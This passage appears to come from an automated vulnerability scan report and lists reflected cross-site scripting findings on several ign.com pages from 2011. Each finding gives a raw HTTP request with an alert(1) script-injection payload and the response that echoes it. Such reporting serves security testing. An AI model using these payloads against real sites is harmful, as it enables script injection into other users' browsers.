This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?af47c"><script>alert(1)</script>c0300f37c7e=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:46 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1220699879-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043446397v-1n-12mc+1297043446397mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 134390

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/?af47c"><script>alert(1)</script>c0300f37c7e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.183. http://faqs.ign.com/ftp.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/ftp.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35b48"><script>alert(1)</script>efed23619dd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ftp.html?35b48"><script>alert(1)</script>efed23619dd=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:56 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-584603399-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:56 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043456781v-1n-12mc+1297043456781mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 79106

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/ftp.html?35b48"><script>alert(1)</script>efed23619dd=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.184. http://faqs.ign.com/ftp.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/ftp.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce97b"-alert(1)-"e2eae7445aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ftp.html?ce97b"-alert(1)-"e2eae7445aa=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:59 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-562982197-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043459152v-1n-12mc+1297043459152mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 79055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
pt>
   if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/ftp.html?ce97b"-alert(1)-"e2eae7445aa=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.185. http://faqs.ign.com/objects/000/000437.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/000/000437.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d709"-alert(1)-"d433f769511 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/000/000437.html?3d709"-alert(1)-"d433f769511=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:46 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-129084908-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:46 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043446781v-1n-12mc+1297043446781mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 122091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/objects/000/000437.html?3d709"-alert(1)-"d433f769511=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.186. http://faqs.ign.com/objects/000/000437.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/000/000437.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fe0e"><script>alert(1)</script>7df89b8b82a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/000/000437.html?1fe0e"><script>alert(1)</script>7df89b8b82a=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:40 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-1524669549-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043440967v-1n-12mc+1297043440967mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118521

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/objects/000/000437.html?1fe0e"><script>alert(1)</script>7df89b8b82a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.187. http://faqs.ign.com/objects/143/14349501.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/143/14349501.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a659"-alert(1)-"5be776a8e5b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/143/14349501.html?5a659"-alert(1)-"5be776a8e5b=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:38 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-1385020287-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:38 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043438139v-1n-12mc+1297043438139mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117486

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/objects/143/14349501.html?5a659"-alert(1)-"5be776a8e5b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.188. http://faqs.ign.com/objects/143/14349501.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/143/14349501.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb74b"><script>alert(1)</script>de5f96bc04e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/143/14349501.html?fb74b"><script>alert(1)</script>de5f96bc04e=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:33 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-1247651907-11;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043433922v-1n-12mc+1297043433922mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 117458

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/objects/143/14349501.html?fb74b"><script>alert(1)</script>de5f96bc04e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.189. http://faqs.ign.com/objects/143/14354229.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/143/14354229.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f038c"><script>alert(1)</script>47bca99c6d1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/143/14354229.html?f038c"><script>alert(1)</script>47bca99c6d1=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:32 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-315926001-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:32 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043432506v-1n-12mc+1297043432506mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 108000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/objects/143/14354229.html?f038c"><script>alert(1)</script>47bca99c6d1=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.190. http://faqs.ign.com/objects/143/14354229.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/143/14354229.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9595"-alert(1)-"45b43c2733 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/143/14354229.html?a9595"-alert(1)-"45b43c2733=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:35 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-73863227-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043435559v-1n-12mc+1297043435559mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 107913

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/objects/143/14354229.html?a9595"-alert(1)-"45b43c2733=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.191. http://faqs.ign.com/objects/748/748589.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/748/748589.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd185"-alert(1)-"4d7636543fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/748/748589.html?fd185"-alert(1)-"4d7636543fe=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:35 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-3558-1245665397-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:35 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043435203v-1n-12mc+1297043435203mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/objects/748/748589.html?fd185"-alert(1)-"4d7636543fe=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.192. http://faqs.ign.com/objects/748/748589.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/748/748589.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23c75"><script>alert(1)</script>de8ae575179 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/748/748589.html?23c75"><script>alert(1)</script>de8ae575179=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:31 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-1472647881-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043431307v-1n-12mc+1297043431307mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120810

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/objects/748/748589.html?23c75"><script>alert(1)</script>de8ae575179=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.193. http://faqs.ign.com/objects/857/857126.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/857/857126.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55411"><script>alert(1)</script>dc9dc68c55c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/857/857126.html?55411"><script>alert(1)</script>dc9dc68c55c=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:36 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-1739638031-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043436596v-1n-12mc+1297043436596mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/objects/857/857126.html?55411"><script>alert(1)</script>dc9dc68c55c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.194. http://faqs.ign.com/objects/857/857126.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/objects/857/857126.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 156cf"-alert(1)-"7126e096cae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/857/857126.html?156cf"-alert(1)-"7126e096cae=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:40 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15002-617907217-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043440094v-1n-12mc+1297043440094mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/objects/857/857126.html?156cf"-alert(1)-"7126e096cae=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.195. http://faqs.ign.com/submit_faq.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/submit_faq.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bda0d"><script>alert(1)</script>6f395dd9df7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /submit_faq.html?bda0d"><script>alert(1)</script>6f395dd9df7=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:53 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1058587263-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:53 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043453114v-1n-12mc+1297043453114mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 79805

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://faqs.ign.com/submit_faq.html?bda0d"><script>alert(1)</script>6f395dd9df7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.196. http://faqs.ign.com/submit_faq.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://faqs.ign.com
Path:	/submit_faq.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67a3c"-alert(1)-"f5088556e3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /submit_faq.html?67a3c"-alert(1)-"f5088556e3f=1 HTTP/1.1
Host: faqs.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:50:55 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-337717668-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:50:55 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043455419v-1n-12mc+1297043455419mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 79674

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://faqs.ign.com/submit_faq.html?67a3c"-alert(1)-"f5088556e3f=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.197. http://fimserve.ign.com/ [__ipculture parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fimserve.ign.com
Path:	/

Issue detail

The value of the __ipculture request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16299"%3balert(1)//5f9781b593c was submitted in the __ipculture parameter. This input was echoed as 16299";alert(1)//5f9781b593c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?placement=fim_ign_hub2&__preferredculture=nl-NL&__ipculture=nl-NL16299"%3balert(1)//5f9781b593c HTTP/1.1
Host: fimserve.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
